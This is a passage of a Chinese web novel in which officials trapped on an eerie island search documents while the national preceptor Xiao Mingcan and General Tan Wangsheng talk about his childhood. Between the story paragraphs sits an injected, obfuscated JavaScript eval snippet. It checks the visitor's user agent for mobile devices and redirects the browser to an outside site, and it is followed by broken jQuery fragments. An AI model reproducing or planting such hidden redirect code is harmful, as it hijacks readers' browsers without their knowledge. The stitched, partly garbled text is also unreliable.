“是……是……”
几个官员愣了一下,又反应过来什么似的拍了拍自己的脸,让自己清醒一点,“对……没错,国师说得对,眼下就算再怎么担惊受怕也没用,又不能冲出去杀了那群鬼东西,还不如把力气放在寻找那‘鬼小子’上……”
侍卫把木头扔进盆里,火光比刚刚又旺了一些,几个尚有精力的官员聚在另一处,逐一查看那些纸堆,试图用商议声和纸张的沙沙声来盖过外面时不时传来的渗人童谣,但可惜,在他们的想法实现之前,那些白骨被翻动的咔咔声就盖过了他们的话音。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16198223|157334||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
p>
“……可真是难为这群人了。”檀妄生在国师的默许下跟在她身后,随着她往火盆那边走,打量般瞧着周围光景,道:“他们当中有几人恐怕这一辈子都没见过什么残缺的尸体,哪怕是在百花宴上目睹皇上遇刺,也只会抱头躲在桌子底下,等待禁军摆平这一切。要我说,这座岛对于他们来说简直就是精神上的酷刑。”
“将军谦虚了。”萧明灿望了眼四周被阴影覆盖的角落,侍卫在刚进这里不久后就搜过了那里,除了不明血迹和白骨之外,那地方没有任何能够藏东西的地方。她说:“依我看,比起这座孤岛,将军才是那个让我们胆战心惊的酷刑。”
檀妄生期待地挑了下眉,“我有让国师感到害怕吗?”
萧明灿并没有回答,她经过火盆,听着受伤的官员低弱而痛苦的呻|吟,才开口:“将军有时会让我想起那种徘徊在夜晚街巷中的劣犬。它们成群结队,狂躁顽劣,会对周围的经过的一切抱有敌意,继而疯狂地攻击。如果你不幸靠近被它们盯上,就会一直被它们缠下去。”
“……听起来很有意思。”檀妄生说,“还记得小时候在边城时,有几个比我大半个头的小子围着我说我是没爹娘养的野孩子,不准我站在那看他们玩闹,说觉得晦气。这种话我从北边一路听到了皇城,皇城里的小姐少爷们都很有教养,他们不会当面叫你野孩子,私底下说什么也不会让你知道,但他们会用那种怜悯又嫌弃目光打量着你,就像在看什么脏兮兮的可怜东西。”
当他说出这话时,跟在萧明灿身边的言生抽出刀,捅穿了墙壁缺口后的那双眼睛。墙面背后的尖叫声短暂盖过了嘶哑变调的童谣。萧明灿在言生擦刀的间隙里走向前,摸了摸墙角一处不起眼的裂痕,试探着往里按了下,但没有推动。这里似乎没有什么能够藏东西的密室。
檀妄生老实地站在身后,一侧肩膀倚着墙面,继续道:“说实话,我其实从没在意过他们说的那些话或者揣测。我有饭吃,有水喝,老头子会给买我衣服穿,军营里的人教我如何用刀,檀家的姐姐教我识字,我怎么会是没人养的野孩子呢?”
萧明灿看向他——
没错,就是这种眼神。他在与萧明灿对视的瞬间忽然想。
平和,专注,温柔,足够包容,足够有耐心,哪怕是那种罪大恶极的土匪站在她面前,说不定都会慢慢卸下防备,去诉说自小经历过的那些不公和悲惨遭遇。这并非仅仅是因为她